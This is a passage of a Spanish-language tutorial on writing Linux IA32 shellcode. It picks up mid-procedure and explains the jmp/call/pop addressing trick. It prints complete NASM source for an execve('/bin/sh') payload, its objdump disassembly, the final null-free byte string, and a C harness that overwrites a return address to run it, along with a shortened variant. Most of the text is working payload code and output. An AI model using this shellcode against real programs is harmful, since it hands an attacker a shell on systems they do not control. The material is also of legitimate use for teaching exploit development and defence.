5. El cuerpo de la shellcode puede ejecutarse ahora usando el direccionamiento relativo.

Una vez resuelto el problema del direccionamiento, completaremos el cuerpo de la shellcode usando pseudocódigo. El cual reemplazaremos con instrucciones de ensamblado reales consiguiendo nuestra shellcode. Además añadiremos (9 bytes) de caracteres al final de nuestra cadena, con lo cual se verá lo siguiente:

'/bin/shJAAAAKKKK'

Los caracteres se copiarán con los datos que queremos cargar como dos de los tres argumentos de la syscall en los registros (ECX, EDX). Podemos determinar fácilmente las localizaciones en memoria de estas direcciones para reemplazarlas y copiarlas en los registros, ya que la dirección del primer byte de la cadena estará almacenada en ESI. Además, podremos terminar nuestra cadena con un cero con el método "copiar después de los caracteres", siguiendo estos pasos:

1. Llena EAX con ceros para realizar un XOR consigo mismo.

2. Termina nuestra cadena /bin/sh copiando en AL el último byte de la cadena. Recuerde que AL es cero porque EAX está lleno de ceros debido a la instrucción previa. También debe calcular el offset desde el principio de la cadena al carácter J.

3. Toma la dirección del inicio de la cadena, que está guardada en ESI y copia el valor en EBX.

4. Copia el valor almacenado en EBX, que ahora es la dirección del comienzo de la cadena, sobre los caracteres AAAA. Esto es el argumento puntero requerido por execre para que se ejecute el binario. De nuevo es necesario calcular el offset.

5. Copia los ceros todavía guardados en EAX sobre los caracteres KKKK, usando el Offset correcto.

6. El registro de EAX ya no se necesita lleno de ceros, por lo tanto copiaremos en AL el valor, syscall (0x0b), de execve.

7. Carga en EBX la dirección de nuestra cadena.

8. Carga el valor de la dirección almacenada en los caracteres AAAA, el cual es el puntero a nuestra cadena, en ECX.

9. Carga en EDX el valor de la dirección en KKKK, un puntero a cero.

10. Ejecuta int 0x80.

El código ensamblado final que será colocado en la shellcode tendrá esta apariencia:

```
Section    .text

global _start

_start:

jmp short      GotoCall

shellcode:

pop           esi
xor           eax, eax
mov byte      [esi + 7], al
lea           ebx, [esi]
mov long      [esi + 8], ebx
mov long      [esi + 12], eax
mov byte      al, 0x0b
mov           ebx, esi
lea           ecx, [esi + 8]
lea           edx, [esi + 12]
int           0x80
```

GotoCall:

Call shellcode
db '/bin/shJAAAAKKKK'

Escribe este código en un editor de texto y guardalo como execve2.asm, acuerdate de cambiarle las propiedades a lectura/escritura.
Compila y desensambla los opcodes utilizados:

$ nasm -f elf execve2.asm
$ ld -o execve2 execve2.o
$ objdump -d execve2

```
execve2:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   eb 1a                   jmp    804807c <GotoCall>

08048062 <shellcode>:
 8048062:   5e                      pop    %esi
 8048063:   31 c0                   xor    %eax,%eax
 8048065:   88 46 07                mov    %al,0x7(%esi)
 8048068:   8d 1e                   lea    (%esi),%ebx
 804806a:   89 5e 08                mov    %ebx,0x8(%esi)
 804806d:   89 46 0c                mov    %eax,0xc(%esi)
 8048070:   b0 0b                   mov    $0xb,%al
 8048072:   89 f3                   mov    %esi,%ebx
 8048074:   8d 4e 08                lea    0x8(%esi),%ecx
 8048077:   8d 56 0c                lea    0xc(%esi),%edx
 804807a:   cd 80                   int    $0x80

0804807c <GotoCall>:
 804807c:   e8 e1 ff ff ff          call   8048062 <shellcode>
 8048081:   2f                      das
 8048082:   62 69 6e                bound  %ebp,0x6e(%ecx)
 8048085:   2f                      das
 8048086:   73 68                   jae    80480f0 <GotoCall+0x74>
 8048088:   4a                      dec    %edx
 8048089:   41                      inc    %ecx
 804808a:   41                      inc    %ecx
 804808b:   41                      inc    %ecx
 804808c:   41                      inc    %ecx
 804808d:   4b                      dec    %ebx
 804808e:   4b                      dec    %ebx
 804808f:   4b                      dec    %ebx
 8048090:   4b                      dec    %ebx
$
```

Observa que no tenemos direcciones con ceros ni “hardcored”. Con lo cual el último paso es crear la shellcode y colocarla en un programa en C:

```
char shellcode[] =
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
        "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
        "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41"
        "\x4b\x4b\x4b\x4b";

int main()
{

int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
```

Probemoslo para asegurarnos de que funciona, la compilamos y la ejecutamos:

```
$ gcc execve2.c  -o  execve2
$ ./execve2
$
```

Ahora que tenemos la shellcode inyectable funcionando. Si necesitamos reducirla, podemos a veces quitar los opcodes de los caracteres, al final de ella y quedaría de esta forma:

```
char shellcode[]  =
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
        "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
        "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
```

Conclusión

Has aprendido cómo crear una shellcode en IA32 para Linux. Los conceptos de este escrito puedes aplicarlos para programar tu propia shellcode para otras plataformas y sistemas operativos, aunque la sintaxis será diferente y puede que tengas que trabajar con registros diferentes.
La tarea más importante al crear una shellcode es hacerla pequeña y ejecutable. Al crearla, necesitas tener el código lo más pequeño posible de modo que puedas usarla en todas las situaciones que sea posible. Hemos trabajado con el método más común y fácil de programar una shellcode ejecutable. No obstante hay que decir que existen muchos trucos y variantes para poderla realizar.